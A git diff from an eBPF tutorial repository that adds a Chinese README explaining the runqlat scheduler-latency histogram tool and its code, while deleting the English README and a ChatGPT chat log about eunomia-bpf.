b/src/9-runqlat/README.zh.md @@ -0,0 +1,449 @@ +# eBPF 入门开发实践教程九:捕获进程调度延迟,以直方图方式记录 + +eBPF (Extended Berkeley Packet Filter) 是 Linux 内核上的一个强大的网络和性能分析工具。它允许开发者在内核运行时动态加载、更新和运行用户定义的代码。 + +runqlat 是一个 eBPF 工具,用于分析 Linux 系统的调度性能。具体来说,runqlat 用于测量一个任务在被调度到 CPU 上运行之前在运行队列中等待的时间。这些信息对于识别性能瓶颈和提高 Linux 内核调度算法的整体效率非常有用。 + +## runqlat 原理 + +本教程是 eBPF 入门开发实践系列的第九部分,主题是 "捕获进程调度延迟"。在此,我们将介绍一个名为 runqlat 的程序,其作用是以直方图的形式记录进程调度延迟。 + +Linux 操作系统使用进程来执行所有的系统和用户任务。这些进程可能被阻塞、杀死、运行,或者正在等待运行。处在后两种状态的进程数量决定了 CPU 运行队列的长度。 + +进程有几种可能的状态:可运行或正在运行、可中断睡眠、不可中断睡眠、停止,以及僵尸进程。等待资源或其他函数信号的进程会处在可中断或不可中断的睡眠状态:进程被置入睡眠状态,直到它需要的资源变得可用。然后,根据睡眠的类型,进程可以转移到可运行状态,或者保持睡眠。 + +即使进程拥有它需要的所有资源,它也不会立即开始运行。它会转移到可运行状态,与其他处在相同状态的进程一起排队。CPU可以在接下来的几秒钟或毫秒内执行这些进程。调度器为 CPU 排列进程,并决定下一个要执行的进程。 + +根据系统的硬件配置,这个可运行队列(称为 CPU 运行队列)的长度可以短也可以长。短的运行队列长度表示 CPU 没有被充分利用。另一方面,如果运行队列长,那么可能意味着 CPU 不够强大,无法执行所有的进程,或者 CPU 的核心数量不足。在理想的 CPU 利用率下,运行队列的长度将等于系统中的核心数量。 + +进程调度延迟,也被称为 "run queue latency",是衡量线程从变得可运行(例如,接收到中断,促使其处理更多工作)到实际在 CPU 上运行的时间。在 CPU 饱和的情况下,你可以想象线程必须等待其轮次。但在其他奇特的场景中,这也可能发生,而且在某些情况下,它可以通过调优减少,从而提高整个系统的性能。 + +我们将通过一个示例来阐述如何使用 runqlat 工具。这是一个负载非常重的系统: + +```shell +# runqlat +Tracing run queue latency... Hit Ctrl-C to end. +^C + usecs : count distribution + 0 -> 1 : 233 |*********** | + 2 -> 3 : 742 |************************************ | + 4 -> 7 : 203 |********** | + 8 -> 15 : 173 |******** | + 16 -> 31 : 24 |* | + 32 -> 63 : 0 | | + 64 -> 127 : 30 |* | + 128 -> 255 : 6 | | + 256 -> 511 : 3 | | + 512 -> 1023 : 5 | | + 1024 -> 2047 : 27 |* | + 2048 -> 4095 : 30 |* | + 4096 -> 8191 : 20 | | + 8192 -> 16383 : 29 |* | + 16384 -> 32767 : 809 |****************************************| + 32768 -> 65535 : 64 |*** | +``` + +在这个输出中,我们看到了一个双模分布,一个模在0到15微秒之间,另一个模在16到65毫秒之间。这些模式在分布(它仅仅是 "count" 列的视觉表示)中显示为尖峰。例如,读取一行:在追踪过程中,809个事件落入了16384到32767微秒的范围(16到32毫秒)。 + +在后续的教程中,我们将深入探讨如何利用 eBPF 对此类指标进行深度跟踪和分析,以更好地理解和优化系统性能。同时,我们也将学习更多关于 Linux 内核调度器、中断处理和 CPU 饱 + +runqlat 的实现利用了 eBPF 程序,它通过内核跟踪点和函数探针来测量进程在运行队列中的时间。当进程被排队时,trace_enqueue 函数会在一个映射中记录时间戳。当进程被调度到 CPU 上运行时,handle_switch 函数会检索时间戳,并计算当前时间与排队时间之间的时间差。这个差值(或 delta)被用于更新进程的直方图,该直方图记录运行队列延迟的分布。该直方图可用于分析 Linux 内核的调度性能。 + +## runqlat 代码实现 + +### runqlat.bpf.c + +首先我们需要编写一个源代码文件 runqlat.bpf.c: + +```c +// SPDX-License-Identifier: GPL-2.0 +// Copyright (c) 2020 Wenbo Zhang +#include +#include +#include +#include +#include "runqlat.h" +#include "bits.bpf.h" +#include "maps.bpf.h" +#include "core_fixes.bpf.h" + +#define MAX_ENTRIES 10240 +#define TASK_RUNNING 0 + +const volatile bool filter_cg = false; +const volatile bool targ_per_process = false; +const volatile bool targ_per_thread = false; +const volatile bool targ_per_pidns = false; +const volatile bool targ_ms = false; +const volatile pid_t targ_tgid = 0; + +struct { + __uint(type, BPF_MAP_TYPE_CGROUP_ARRAY); + __type(key, u32); + __type(value, u32); + __uint(max_entries, 1); +} cgroup_map SEC(".maps"); + +struct { + __uint(type, BPF_MAP_TYPE_HASH); + __uint(max_entries, MAX_ENTRIES); + __type(key, u32); + __type(value, u64); +} start SEC(".maps"); + +static struct hist zero; + +/// @sample {"interval": 1000, "type" : "log2_hist"} +struct { + __uint(type, BPF_MAP_TYPE_HASH); + __uint(max_entries, MAX_ENTRIES); + __type(key, u32); + __type(value, struct hist); +} hists SEC(".maps"); + +static int trace_enqueue(u32 tgid, u32 pid) +{ + u64 ts; + + if (!pid) + return 0; + if (targ_tgid && targ_tgid != tgid) + return 0; + + ts = bpf_ktime_get_ns(); + bpf_map_update_elem(&start, &pid, &ts, BPF_ANY); + return 0; +} + +static unsigned int pid_namespace(struct task_struct *task) +{ + struct pid *pid; + unsigned int level; + struct upid upid; + unsigned int inum; + + /* get the pid namespace by following task_active_pid_ns(), + * pid->numbers[pid->level].ns + */ + pid = BPF_CORE_READ(task, thread_pid); + level = BPF_CORE_READ(pid, level); + bpf_core_read(&upid, sizeof(upid), &pid->numbers[level]); + inum = BPF_CORE_READ(upid.ns, ns.inum); + + return inum; +} + +static int handle_switch(bool preempt, struct task_struct *prev, struct task_struct *next) +{ + struct hist *histp; + u64 *tsp, slot; + u32 pid, hkey; + s64 delta; + + if (filter_cg && !bpf_current_task_under_cgroup(&cgroup_map, 0)) + return 0; + + if (get_task_state(prev) == TASK_RUNNING) + trace_enqueue(BPF_CORE_READ(prev, tgid), BPF_CORE_READ(prev, pid)); + + pid = BPF_CORE_READ(next, pid); + + tsp = bpf_map_lookup_elem(&start, &pid); + if (!tsp) + return 0; + delta = bpf_ktime_get_ns() - *tsp; + if (delta < 0) + goto cleanup; + + if (targ_per_process) + hkey = BPF_CORE_READ(next, tgid); + else if (targ_per_thread) + hkey = pid; + else if (targ_per_pidns) + hkey = pid_namespace(next); + else + hkey = -1; + histp = bpf_map_lookup_or_try_init(&hists, &hkey, &zero); + if (!histp) + goto cleanup; + if (!histp->comm[0]) + bpf_probe_read_kernel_str(&histp->comm, sizeof(histp->comm), + next->comm); + if (targ_ms) + delta /= 1000000U; + else + delta /= 1000U; + slot = log2l(delta); + if (slot >= MAX_SLOTS) + slot = MAX_SLOTS - 1; + __sync_fetch_and_add(&histp->slots[slot], 1); + +cleanup: + bpf_map_delete_elem(&start, &pid); + return 0; +} + +SEC("raw_tp/sched_wakeup") +int BPF_PROG(handle_sched_wakeup, struct task_struct *p) +{ + if (filter_cg && !bpf_current_task_under_cgroup(&cgroup_map, 0)) + return 0; + + return trace_enqueue(BPF_CORE_READ(p, tgid), BPF_CORE_READ(p, pid)); +} + +SEC("raw_tp/sched_wakeup_new") +int BPF_PROG(handle_sched_wakeup_new, struct task_struct *p) +{ + if (filter_cg && !bpf_current_task_under_cgroup(&cgroup_map, 0)) + return 0; + + return trace_enqueue(BPF_CORE_READ(p, tgid), BPF_CORE_READ(p, pid)); +} + +SEC("raw_tp/sched_switch") +int BPF_PROG(handle_sched_switch, bool preempt, struct task_struct *prev, struct task_struct *next) +{ + return handle_switch(preempt, prev, next); +} + +char LICENSE[] SEC("license") = "GPL"; +``` + +#### 常量与全局变量 + +代码中定义了一些常量和 volatile 全局变量,用于过滤对应的追踪目标。这些变量包括: + +```c +#define MAX_ENTRIES 10240 +#define TASK_RUNNING 0 + +const volatile bool filter_cg = false; +const volatile bool targ_per_process = false; +const volatile bool targ_per_thread = false; +const volatile bool targ_per_pidns = false; +const volatile bool targ_ms = false; +const volatile pid_t targ_tgid = 0; +``` + +- `MAX_ENTRIES`: map 条目最大数量 +- `TASK_RUNNING`: 任务状态值 +- `filter_cg`, `targ_per_process`, `targ_per_thread`, `targ_per_pidns`, `targ_ms`, `targ_tgid`: 用于过滤选项和目标选项的布尔变量。这些选项可以通过用户空间程序设置来自定义eBPF程序的行为。 + +#### eBPF Maps 映射 + +接下来,定义了一些 eBPF 映射: + +```c +struct { + __uint(type, BPF_MAP_TYPE_CGROUP_ARRAY); + __type(key, u32); + __type(value, u32); + __uint(max_entries, 1); +} cgroup_map SEC(".maps"); + +struct { + __uint(type, BPF_MAP_TYPE_HASH); + __uint(max_entries, MAX_ENTRIES); + __type(key, u32); + __type(value, u64); +} start SEC(".maps"); + +static struct hist zero; + +struct { + __uint(type, BPF_MAP_TYPE_HASH); + __uint(max_entries, MAX_ENTRIES); + __type(key, u32); + __type(value, struct hist); +} hists SEC(".maps"); +``` + +这些映射包括: + +- `cgroup_map` 用于过滤 cgroup; +- `start` 用于存储进程入队时的时间戳; +- `hists` 用于存储直方图数据,记录进程调度延迟。 + +#### 辅助函数 + +接下来是一些辅助函数: + +- `trace_enqueue`: 此功能用于记录进程入队时的时间戳。它将 `tgid` 和 `pid` 值作为参数。如果`pid`值是0或者`targ_tgid`值不是0且不等于`tgid`,函数返回0。否则,它使用 `bpf_ktime_get_ns` 获取当前时间戳,并使用 `pid` 键和时间戳值更新 `start` 映射。 + +```c +static int trace_enqueue(u32 tgid, u32 pid) +{ + u64 ts; + + if (!pid) + return 0; + if (targ_tgid && targ_tgid != tgid) + return 0; + + ts = bpf_ktime_get_ns(); + bpf_map_update_elem(&start, &pid, &ts, BPF_ANY); + return 0; +} +``` + +- `pid_namespace` : 此函数用于获取进程的PID命名空间。它接受一个`task_struct`指针作为参数,并返回进程的PID命名空间。该函数通过`task_active_pid_ns()`和`pid->numbers[pid->level].ns`来检索PID命名空间。 + +```c +static unsigned int pid_namespace(struct task_struct *task) +{ + struct pid *pid; + unsigned int level; + struct upid upid; + unsigned int inum; + + /* get the pid namespace by following task_active_pid_ns(), + * pid->numbers[pid->level].ns + */ + pid = BPF_CORE_READ(task, thread_pid); + level = BPF_CORE_READ(pid, level); + bpf_core_read(&upid, sizeof(upid), &pid->numbers[level]); + inum = BPF_CORE_READ(upid.ns, ns.inum); + + return inum; +} +``` + +`handle_switch` 函数是核心部分,用于处理调度切换事件,计算进程调度延迟并更新直方图数据: + +```c +static int handle_switch(bool preempt, struct task_struct *prev, struct task_struct *next) +{ + ... +} +``` + +首先,函数根据 `filter_cg` 的设置判断是否需要过滤 cgroup。然后,如果之前的进程状态为 `TASK_RUNNING`,则调用 `trace_enqueue` 函数记录进程的入队时间。接着,函数查找下一个进程的入队时间戳,如果找不到,直接返回。计算调度延迟(delta),并根据不同的选项设置(targ_per_process,targ_per_thread,targ_per_pidns),确定直方图映射的键(hkey)。然后查找或初始化直方图映射,更新直方图数据,最后删除进程的入队时间戳记录。 + +接下来是 eBPF 程序的入口点。程序使用三个入口点来捕获不同的调度事件: + +- `handle_sched_wakeup`:用于处理 `sched_wakeup` 事件,当一个进程从睡眠状态被唤醒时触发。 +- `handle_sched_wakeup_new`:用于处理 `sched_wakeup_new` 事件,当一个新创建的进程被唤醒时触发。 +- `handle_sched_switch`:用于处理 `sched_switch` 事件,当调度器选择一个新的进程运行时触发。 + +这些入口点分别处理不同的调度事件,但都会调用 handle_switch 函数来计算进程的调度延迟并更新直方图数据。 + +最后,程序包含一个许可证声明: + +```c +char LICENSE[] SEC("license") = "GPL"; +``` + +这一声明指定了 eBPF 程序的许可证类型,这里使用的是 "GPL"。这对于许多内核功能是必需的,因为它们要求 eBPF 程序遵循 GPL 许可证。 + +### runqlat.h + +然后我们需要定义一个头文件`runqlat.h`,用来给用户态处理从内核态上报的事件: + +```c +/* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */ +#ifndef __RUNQLAT_H +#define __RUNQLAT_H + +#define TASK_COMM_LEN 16 +#define MAX_SLOTS 26 + +struct hist { + __u32 slots[MAX_SLOTS]; + char comm[TASK_COMM_LEN]; +}; + +#endif /* __RUNQLAT_H */ +``` + +## 编译运行 + +我们使用 eunomia-bpf 来编译和运行这个示例。你可以从 安装它。 + +Compile: + +```shell +docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest +``` + +或者 + +```console +$ ecc runqlat.bpf.c runqlat.h +Compiling bpf object... +Generating export types... +Packing ebpf object and config into package.json... +``` + +Run: + +```console +$ sudo ecli run examples/bpftools/runqlat/package.json -h +Usage: runqlat_bpf [--help] [--version] [--verbose] [--filter_cg] [--targ_per_process] [--targ_per_thread] [--targ_per_pidns] [--targ_ms] [--targ_tgid VAR] + +A simple eBPF program + +Optional arguments: + -h, --help shows help message and exits + -v, --version prints version information and exits + --verbose prints libbpf debug information + --filter_cg set value of bool variable filter_cg + --targ_per_process set value of bool variable targ_per_process + --targ_per_thread set value of bool variable targ_per_thread + --targ_per_pidns set value of bool variable targ_per_pidns + --targ_ms set value of bool variable targ_ms + --targ_tgid set value of pid_t variable targ_tgid + +Built with eunomia-bpf framework. +See https://github.com/eunomia-bpf/eunomia-bpf for more information. + +$ sudo ecli run examples/bpftools/runqlat/package.json +key = 4294967295 +comm = rcu_preempt + + (unit) : count distribution + 0 -> 1 : 9 |**** | + 2 -> 3 : 6 |** | + 4 -> 7 : 12 |***** | + 8 -> 15 : 28 |************* | + 16 -> 31 : 40 |******************* | + 32 -> 63 : 83 |****************************************| + 64 -> 127 : 57 |*************************** | + 128 -> 255 : 19 |********* | + 256 -> 511 : 11 |***** | + 512 -> 1023 : 2 | | + 1024 -> 2047 : 2 | | + 2048 -> 4095 : 0 | | + 4096 -> 8191 : 0 | | + 8192 -> 16383 : 0 | | + 16384 -> 32767 : 1 | | + +$ sudo ecli run examples/bpftools/runqlat/package.json --targ_per_process +key = 3189 +comm = cpptools + + (unit) : count distribution + 0 -> 1 : 0 | | + 2 -> 3 : 0 | | + 4 -> 7 : 0 | | + 8 -> 15 : 1 |*** | + 16 -> 31 : 2 |******* | + 32 -> 63 : 11 |****************************************| + 64 -> 127 : 8 |***************************** | + 128 -> 255 : 3 |********** | +``` + +完整源代码请见: + +参考资料: + +- +- + +## 总结 + +runqlat 是一个 Linux 内核 BPF 程序,通过柱状图来总结调度程序运行队列延迟,显示任务等待运行在 CPU 上的时间长度。编译这个程序可以使用 ecc 工具,运行时可以使用 ecli 命令。 + +runqlat 是一种用于监控Linux内核中进程调度延迟的工具。它可以帮助您了解进程在内核中等待执行的时间,并根据这些信息优化进程调度,提高系统的性能。可以在 libbpf-tools 中找到最初的源代码: + +如果您希望学习更多关于 eBPF 的知识和实践,可以访问我们的教程代码仓库 或网站 以获取更多示例和完整的教程。 diff --git a/src/9-runqlat/README_en.md b/src/9-runqlat/README_en.md deleted file mode 100755 index ffd33779..00000000 --- a/src/9-runqlat/README_en.md +++ /dev/null @@ -1,442 +0,0 @@ -# eBPF Tutorial by Example 9: Capturing Scheduling Latency and Recording as Histogram - -eBPF (Extended Berkeley Packet Filter) is a powerful network and performance analysis tool on the Linux kernel. It allows developers to dynamically load, update, and run user-defined code at runtime. - -runqlat is an eBPF tool used for analyzing the scheduling performance of the Linux system. Specifically, runqlat is used to measure the time a task waits in the run queue before being scheduled to run on a CPU. This information is very useful for identifying performance bottlenecks and improving the overall efficiency of the Linux kernel scheduling algorithm. - -## runqlat Principle - -This tutorial is the ninth part of the eBPF beginner's development series, with the topic "Capturing Process Scheduling Latency". Here, we will introduce a program called runqlat, which records process scheduling latency as a histogram. - -The Linux operating system uses processes to execute all system and user tasks. These processes can be blocked, killed, running, or waiting to run. The number of processes in the latter two states determines the length of the CPU run queue. - -Processes can have several possible states, such as: - -- Runnable or running -- Interruptible sleep -- Uninterruptible sleep -- Stopped -- Zombie process - -Processes waiting for resources or other function signals are in the interruptible or uninterruptible sleep state: the process is put to sleep until the resource it needs becomes available. Then, depending on the type of sleep, the process can transition to the runnable state or remain asleep. - -Even when a process has all the resources it needs, it does not start running immediately. It transitions to the runnable state and is queued together with other processes in the same state. The CPU can execute these processes in the next few seconds or milliseconds. The scheduler arranges the processes for the CPU and determines the next process to run. - -Depending on the hardware configuration of the system, the length of this runnable queue (known as the CPU run queue) can be short or long. A short run queue length indicates that the CPU is not being fully utilized. On the other hand, if the run queue is long, it may mean that the CPU is not powerful enough to handle all the processes or that the number of CPU cores is insufficient. In an ideal CPU utilization, the length of the run queue will be equal to the number of cores in the system. - -Process scheduling latency, also known as "run queue latency," is the time it takes for a thread to go from becoming runnable (e.g., receiving an interrupt that prompts it to do more work) to actually running on the CPU. In the case of CPU saturation, you can imagine that the thread has to wait for its turn. But in other peculiar scenarios, this can also happen, and in some cases, it can be reduced by tuning to improve the overall system performance. - -We will illustrate how to use the runqlat tool through an example. This is a heavily loaded system: - -```shell -# runqlat -Tracing run queue latency... Hit Ctrl-C to end. -^C - usecs : count distribution - 0 -> 1 : 233 |*********** | - 2 -> 3 : 742 |************************************ | - 4 -> 7 : 203 |********** | - 8 -> 15 : 173 |******** | - 16 -> 31 : 24 |* | - 32 -> 63 : 0 | | - 64 -> 127 : 30 |* | - 128 -> 255 : 6 | | - 256 -> 511 : 3 | | - 512 -> 1023 : 5 | | - 1024 -> 2047 : 27 |* | -``` - -## runqlat Code Implementation - -### runqlat.bpf.c - -First, we need to write a source code file `runqlat.bpf.c`: - -```c -// SPDX-License-Identifier: GPL-2.0 -// Copyright (c) 2020 Wenbo Zhang -#include -#include -#include -#include -#include "runqlat.h" -#include "bits.bpf.h" -#include "maps.bpf.h" -#include "core_fixes.bpf.h" - -#define MAX_ENTRIES 10240 -#define TASK_RUNNING 0 - -const volatile bool filter_cg = false; -const volatile bool targ_per_process = false; -const volatile bool targ_per_thread = false; -const volatile bool targ_per_pidns = false; -const volatile bool targ_ms = false; -const volatile pid_t targ_tgid = 0; - -struct { - __uint(type, BPF_MAP_TYPE_CGROUP_ARRAY); - __type(key, u32); - __type(value, u32); - __uint(max_entries, 1); -} cgroup_map SEC(".maps"); - -struct { - __uint(type, BPF_MAP_TYPE_HASH); - __uint(max_entries, MAX_ENTRIES); - __type(key, u32); - __type(value, u64); -} start SEC(".maps"); - -static struct hist zero; - -/// @sample {"interval": 1000, "type" : "log2_hist"} -struct { - __uint(type, BPF_MAP_TYPE_HASH); - __uint(max_entries, MAX_ENTRIES); - __type(key, u32); - __type(value, struct hist); -} hists SEC(".maps"); - -static int trace_enqueue(u32 tgid, u32 pid) -{ -u64 ts; - -if (!pid) - return 0; -if (targ_tgid && targ_tgid != tgid) - return 0; - -ts = bpf_ktime_get_ns(); -bpf_map_update_elem(&start, &pid, &ts, BPF_ANY); -return 0; -} - -static unsigned int pid_namespace(struct task_struct *task) -{ -struct pid *pid; -unsigned int level; -struct upid upid; -unsigned int inum; - -/* get the pid namespace by following task_active_pid_ns(), - * pid->numbers[pid->level].ns - */ -pid = BPF_CORE_READ(task, thread_pid); -level = BPF_CORE_READ(pid, level); -bpf_core_read(&upid, sizeof(upid), &pid->numbers[level]); -inum = BPF_CORE_READ(upid.ns, ns.inum); - -return inum; -} - -static int handle_switch(bool preempt, struct task_struct *prev, struct task_struct *next) -{ -struct hist *histp; -u64 *tsp, slot; -u32 pid, hkey; -s64 delta; - -if (filter_cg && !bpf_current_task_under_cgroup(&cgroup_map, 0)) - return 0; - -if (get_task_state(prev) == TASK_RUNNING) - trace_enqueue(BPF_CORE_READ(prev, tgid), BPF_CORE_READ(prev, pid)); - -pid = BPF_CORE_READ(next, pid); - -tsp = bpf_map_lookup_elem(&start, &pid); -if (!tsp) - return 0; -delta = bpf_ktime_get_ns() - *tsp; -if (delta < 0) - goto cleanup; - -if (targ_per_process) - hkey = BPF_CORE_READ(next, tgid); -else if (targ_per_thread) - hkey = pid; -else if (targ_per_pidns) - hkey = pid_namespace(next); -else - hkey = -1; -histp = bpf_map_lookup_or_try_init(&hists, &hkey, &zero); -if (!histp) - goto cleanup; -if (!histp->comm[0]) - bpf_probe_read_kernel_str(&histp->comm, sizeof(histp->comm), - next->comm); -if (targ_ms) - delta /= 1000000U; -else - delta /= 1000U; -slot = log2l(delta); -if (slot >= MAX_SLOTS) - slot = MAX_SLOTS - 1; -__sync_fetch_and_add(&histp->slots[slot], 1); - -cleanup: -bpf_map_delete_elem(&start, &pid); -return 0; -} - -SEC("raw_tp/sched_wakeup") -int BPF_PROG(handle_sched_wakeup, struct task_struct *p) -{ - if (filter_cg && !bpf_current_task_under_cgroup(&cgroup_map, 0)) - return 0; - - return trace_enqueue(BPF_CORE_READ(p, tgid), BPF_CORE_READ(p, pid)); -} - -SEC("raw_tp/sched_wakeup_new") -int BPF_PROG(handle_sched_wakeup_new, struct task_struct *p) -{ - if (filter_cg && !bpf_current_task_under_cgroup(&cgroup_map, 0)) - return 0; - - return trace_enqueue(BPF_CORE_READ(p, tgid), BPF_CORE_READ(p, pid)); -} - -SEC("raw_tp/sched_switch") -int BPF_PROG(handle_sched_switch, bool preempt, struct task_struct *prev, struct task_struct *next) -{ - return handle_switch(preempt, prev, next); -} - -char LICENSE[] SEC("license") = "GPL"; -``` - -#### Constants and Global Variables - -The code defines several constants and volatile global variables used for filtering corresponding tracing targets. These variables include: - -```c -#define MAX_ENTRIES 10240 -#define TASK_RUNNING 0 - -const volatile bool filter_cg = false; -const volatile bool targ_per_process = false; -const volatile bool targ_per_thread = false; -const volatile bool targ_per_pidns = false; -const volatile bool targ_ms = false; -const volatile pid_t targ_tgid = 0; -``` - -- `MAX_ENTRIES`: The maximum number of map entries. -- `TASK_RUNNING`: The task status value. -- `filter_cg`, `targ_per_process`, `targ_per_thread`, `targ_per_pidns`, `targ_ms`, `targ_tgid`: Boolean variables for filtering and target options. These options can be set by user-space programs to customize the behavior of the eBPF program. - -#### eBPF Maps - -The code defines several eBPF maps including: - -```c -struct { - __uint(type, BPF_MAP_TYPE_CGROUP_ARRAY); - __type(key, u32); - __type(value, u32); - __uint(max_entries, 1); -} cgroup_map SEC(".maps"); - -struct { - __uint(type, BPF_MAP_TYPE_HASH); - __uint(max_entries, MAX_ENTRIES); - __type(key, u32); - __type(value, u64); -} start SEC(".maps"); - -static struct hist zero; - -struct { - __uint(type, BPF_MAP_TYPE_HASH); - __uint(max_entries, MAX_ENTRIES); - __type(key, u32); - __type(value, struct hist); -} hists SEC(".maps"); -``` - -- `cgroup_map`: A cgroup array map used for filtering cgroups. -- `start`: A hash map used to store timestamps when processes are enqueued. -- `hists`: A hash map used to store histogram data for recording process scheduling delays. - -#### Helper Functions - -The code includes two helper functions: - -- `trace_enqueue`: This function is used to record the timestamp when a process is enqueued. It takes the `tgid` and `pid` values as parameters. If the `pid` value is 0 or the `targ_tgid` value is not 0 and not equal to `tgid`, the function returns 0. Otherwise, it retrieves the current timestamp using `bpf_ktime_get_ns` and updates the `start` map with the `pid` key and the timestamp value. - -```c -static int trace_enqueue(u32 tgid, u32 pid) -{ - u64 ts; - - if (!pid) - return 0; - if (targ_tgid && targ_tgid != tgid) - return 0; - - ts = bpf_ktime_get_ns(); - bpf_map_update_elem(&start, &pid, &ts, BPF_ANY); - return 0; -} -``` - -- `pid_namespace`: This function is used to get the PID namespace of a process. It takes a `task_struct` pointer as a parameter and returns the PID namespace of the process. The function retrieves the PID namespace by following `task_active_pid_ns()` and `pid->numbers[pid->level].ns`. - -```c -static unsigned int pid_namespace(struct task_struct *task) -{ - struct pid *pid; - unsigned int level; - struct upid upid; - unsigned int inum; - - /* get the pid namespace by following task_active_pid_ns(), - * pid->numbers[pid->level].ns - */ - pid = BPF_CORE_READ(task, thread_pid); - level = BPF_CORE_READ(pid, level); - bpf_core_read(&upid, sizeof(upid), &pid->numbers[level]); - inum = BPF_CORE_READ(upid.ns, ns.inum); - - return inum; -} -``` - -The `handle_switch` function is the core part, used to handle scheduling switch events, calculate process scheduling latency, and update histogram data: - -```c -static int handle_switch(bool preempt, struct task_struct *prev, struct task_struct *next) -{ - ... -} -``` - -Firstly, the function determines whether to filter cgroup based on the setting of `filter_cg`. Then, if the previous process state is `TASK_RUNNING`, the `trace_enqueue` function is called to record the enqueue time of the process. Then, the function looks up the enqueue timestamp of the next process. If it is not found, it returns directly. The scheduling latency (delta) is calculated, and the key for the histogram map (hkey) is determined based on different options (targ_per_process, targ_per_thread, targ_per_pidns). Then, the histogram map is looked up or initialized, and the histogram data is updated. Finally, the enqueue timestamp record of the process is deleted. - -Next is the entry point of the eBPF program. The program uses three entry points to capture different scheduling events: - -- `handle_sched_wakeup`: Used to handle the `sched_wakeup` event triggered when a process is woken up from sleep state. -- `handle_sched_wakeup_new`: Used to handle the `sched_wakeup_new` event triggered when a newly created process is woken up. -- `handle_sched_switch`: Used to handle the `sched_switch` event triggered when the scheduler selects a new process to run. - -These entry points handle different scheduling events, but all call the `handle_switch` function to calculate the scheduling latency of the process and update the histogram data. - -Finally, the program includes a license declaration: - -```c -char LICENSE[] SEC("license") = "GPL"; -``` - -This declaration specifies the license type of the eBPF program, which is "GPL" in this case. This is required for many kernel features as they require eBPF programs to follow the GPL license. - -### runqlat.h - -Next, we need to define a header file `runqlat.h` for handling events reported from kernel mode to user mode: - -```c -/* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */ -#ifndef __RUNQLAT_H -#define __RUNQLAT_H - -#define TASK_COMM_LEN 16 -#define MAX_SLOTS 26 - -struct hist { - __u32 slots[MAX_SLOTS]; - char comm[TASK_COMM_LEN]; -}; - -#endif /* __RUNQLAT_H */ -``` - -## Compilation and Execution - -We will use `eunomia-bpf` to compile and run this example. You can refer to to download and install the `ecc` compilation toolkit and `ecli` runtime. - -Compile: - -```shell -docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest -``` - -or - -```console -$ ecc runqlat.bpf.c runqlat.h -Compiling bpf object... -Generating export types... -Packing ebpf object and config into package.json... -``` - -Run: - -```console -$ sudo ecli run examples/bpftools/runqlat/package.json -h -Usage: runqlat_bpf [--help] [--version] [--verbose] [--filter_cg] [--targ_per_process] [--targ_per_thread] [--targ_per_pidns] [--targ_ms] [--targ_tgid VAR] - -A simple eBPF program - -Optional arguments: --h, --help shows help message and exits --v, --version prints version information and exits ---verbose prints libbpf debug information ---filter_cg set value of bool variable filter_cg ---targ_per_process set value of bool variable targ_per_process ---targ_per_thread set value of bool variable targ_per_thread ---targ_per_pidns set value of bool variable targ_per_pidns ---targ_ms set value of bool variable targ_ms ---targ_tgid set value of pid_t variable targ_tgid - -$ sudo ecli run examples/bpftools/runqlat/package.json -key = 4294967295 -comm = rcu_preempt - - (unit) : count distribution - 0 -> 1 : 9 |**** | - 2 -> 3 : 6 |** | - 4 -> 7 : 12 |***** | - 8 -> 15 : 28 |************* | - 16 -> 31 : 40 |******************* | - 32 -> 63 : 83 |****************************************| - 64 -> 127 : 57 |*************************** | - 128 -> 255 : 19 |********* | - 256 -> 511 : 11 |***** | - 512 -> 1023 : 2 | | - 1024 -> 2047 : 2 | | - 2048 -> 4095 : 0 | | - 4096 -> 8191 : 0 | | - 8192 -> 16383 : 0 | | - 16384 -> 32767 : 1 | | - -$ sudo ecli run examples/bpftools/runqlat/package.json --targ_per_process -key = 3189 -comm = cpptools - - (unit) : count distribution - 0 -> 1 : 0 | | - 2 -> 3 : 0 | | - 4 -> 7 : 0 | | - 8 -> 15 : 1 |*** | - 16 -> 31 : 2 |******* | - 32 -> 63 : 11 |****************************************| - 64 -> 127 : 8 |***************************** | - 128 -> 255 : 3 |********** | - -``` - -Complete source code can be found at: - -References: - -- -- - -## Summary - -runqlat is a Linux kernel BPF program that summarizes scheduler run queue latency using a bar chart to show the length of time tasks wait to run on a CPU. To compile this program, you can use the `ecc` tool and to run it, you can use the `ecli` command. - -runqlat is a tool for monitoring process scheduling latency in the Linux kernel. It can help you understand the time processes spend waiting to run in the kernel and optimize process scheduling based on this information to improve system performance. The original source code can be found in libbpf-tools: - -If you want to learn more about eBPF knowledge and practices, you can visit our tutorial code repository at or website for more examples and complete tutorials. diff --git a/src/ChatGPT.md b/src/ChatGPT.md deleted file mode 100644 index d6cf8f7a..00000000 --- a/src/ChatGPT.md +++ /dev/null @@ -1,1904 +0,0 @@ -# chat with ChatGPT - -## Thread 1 - -我希望你帮助我编写一些 eBPF 程序,描述一下这个 eBPF 程序的作用。我们会使用 eunomia-bpf 这个工具来编写 eBPF 程序。请告诉我 eunomia-bpf 是什么。 - -> eBPF 是一种内核的网络程序。它可以在内核空间中执行,并且可以实时地监控内核的行为。eunomia-bpf 是一个工具,可以用来编写 eBPF 程序。它提供了一个简单的接口,使用户可以编写 eBPF 程序来实现特定的目标。例如,eBPF 程序可以用来监控内核网络流量,或者实现虚拟机监控等功能。 - -这是一个使用 eunomia-bpf 的例子: - -```c -#include "vmlinux.h" -#include -#include -#include - -char LICENSE[] SEC("license") = "Dual BSD/GPL"; - -SEC("kprobe/do_unlinkat") -int BPF_KPROBE(do_unlinkat, int dfd, struct filename *name) -{ - pid_t pid; - const char *filename; - - pid = bpf_get_current_pid_tgid() >> 32; - filename = BPF_CORE_READ(name, name); - bpf_printk("KPROBE ENTRY pid = %d, filename = %s\n", pid, filename); - return 0; -} - -SEC("kretprobe/do_unlinkat") -int BPF_KRETPROBE(do_unlinkat_exit, long ret) -{ - pid_t pid; - - pid = bpf_get_current_pid_tgid() >> 32; - bpf_printk("KPROBE EXIT: pid = %d, ret = %ld\n", pid, ret); - return 0; -} -``` - -kprobe 是 eBPF 用于处理内核空间入口和出口(返回)探针(kprobe 和 kretprobe)的一个例子。它将 kprobe 和 kretprobe BPF 程序附加到 do_unlinkat() 函数上,并使用 bpf_printk() 宏分别记录 PID、文件名和返回值。 - -要编译这个程序,请使用 ecc 工具: - -```console -$ ecc kprobe-link.bpf.c -Compiling bpf object... -Packing ebpf object and config into package.json... 